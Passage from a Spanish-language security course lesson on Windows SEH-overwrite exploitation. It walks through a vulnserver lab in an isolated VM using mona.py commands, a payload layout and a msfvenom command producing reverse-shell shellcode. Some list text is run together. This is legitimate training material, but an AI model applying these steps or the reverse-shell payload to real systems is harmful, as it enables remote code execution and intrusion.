Parte: 5 — Explotación de sistemas y binarios · Fuente: The Shellcoder's Handbook · Corelan exploit-writing series ⏱️ Duración estimada: 130 min · Nivel: Avanzado
Trasladar los conceptos de explotación al mundo Windows, centrándote en el mecanismo de manejo
estructurado de excepciones (SEH) y en cómo un overflow que corrompe la cadena SEH permite
secuestrar el flujo pese a algunas mitigaciones. Verás el uso de POP POP RET, la técnica clásica
de sobrescritura de SEH y cómo SafeSEH/SEHOP la complican.
⚠️ Ética: exclusivamente en una VM Windows propia y aislada, con software vulnerable de laboratorio (retos como "vulnserver"). Nunca contra sistemas de terceros.
Al finalizar, el alumno podrá:
_EXCEPTION_REGISTRATION_RECORD (next + handler).POP POP RET.| # | Tema | Por qué importa |
|---|---|---|
| 1 | Modelo de excepciones de Windows | Base del mecanismo SEH |
| 2 | Cadena SEH y sus campos | Qué se corrompe |
| 3 | Sobrescritura de SEH | Alternativa al ret clásico |
| 4 | POP POP RET | Redirige a nSEH (short jump) |
| 5 | mona.py | Automatiza offsets, gadgets, egghunter |
| 6 | SafeSEH / SEHOP | Mitigaciones de la cadena |
| 7 | DEP/ASLR en Windows | Requieren ROP/leaks |
| 8 | vulnserver como práctica | Objetivo legal de laboratorio |
next y handler.handler (y next) para desviar la ejecución al
disparar una excepción. Clave: útil cuando el overflow es mayor que la distancia al retorno.nSEH (los 4 bytes previos), donde se
coloca un short jmp al shellcode. Clave: técnica canónica de SEH.POP POP RET en
un módulo no protegido por SafeSEH.!mona seh, !mona rop. Clave: acelera todo
el flujo.En una VM Windows aislada (sin red hacia producción):
mona.py de Corelan.Entorno propio: VM Windows aislada + vulnserver (software de práctica).
Lanza vulnserver y conéctate con nc/pwntools; identifica el comando vulnerable (p. ej. GMON).
Provoca el crash enviando una cadena larga y observa en el debugger que la cadena SEH se sobrescribe
(ver SEH chain).
Halla el offset a nSEH/SEH con un patrón cíclico:
text
!mona pc 5000 ; genera patrón
; (crash)
!mona findmsp ; muestra offset a nSEH y SEH
POP POP RET en un módulo sin SafeSEH:text
!mona seh
Construye el payload: [relleno][nSEH: short jmp][SEH: dir POP POP RET][NOPs][shellcode].
Genera shellcode con msfvenom -p windows/shell_reverse_tcp LHOST=<vm> LPORT=4444 -f python (para
la VM), evitando badchars (identifícalos con !mona bytearray).
Envía el exploit, dispara la excepción y confirma la ejecución (shell en tu listener de la VM).
!mona bytearray y compara memoria.nSEH y no directamente al shellcode.!mona modules.\x00, \x0a).Sobre vulnserver en tu VM, consigue ejecución de código mediante sobrescritura de SEH y recibe una shell en tu listener local.
Criterio de aceptación: tu listener recibe una shell del proceso vulnserver; el payload usa un
POP POP RET de un módulo sin SafeSEH y un short jmp en nSEH.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| El handler no se ejecuta | No se disparó la excepción; asegura corromper la cadena SEH |
| POP POP RET rechazado | El módulo tiene SafeSEH; elige otro con !mona seh |
| Shellcode truncado | Badchars presentes; regenera evitándolos |
| Short jmp cae en basura | Distancia de salto mal calculada |
| Funciona sin DEP, no con DEP | Necesitas ROP para marcar memoria ejecutable |
❓ ¿Por qué SEH en vez del ret clásico? Cuando el overflow es grande, corromper SEH suele ser más fiable que alcanzar el retorno directo.
❓ ¿Sigue siendo relevante? En software legacy y algunos servicios sí; en binarios modernos con SafeSEH+SEHOP+DEP+ASLR es mucho más difícil.
❓ ¿mona funciona en WinDbg moderno? Está pensado para Immunity/WinDbg; existen ports. Muchos usan x64dbg + scripts propios hoy.
Clase 128 — Integer overflows y errores aritméticos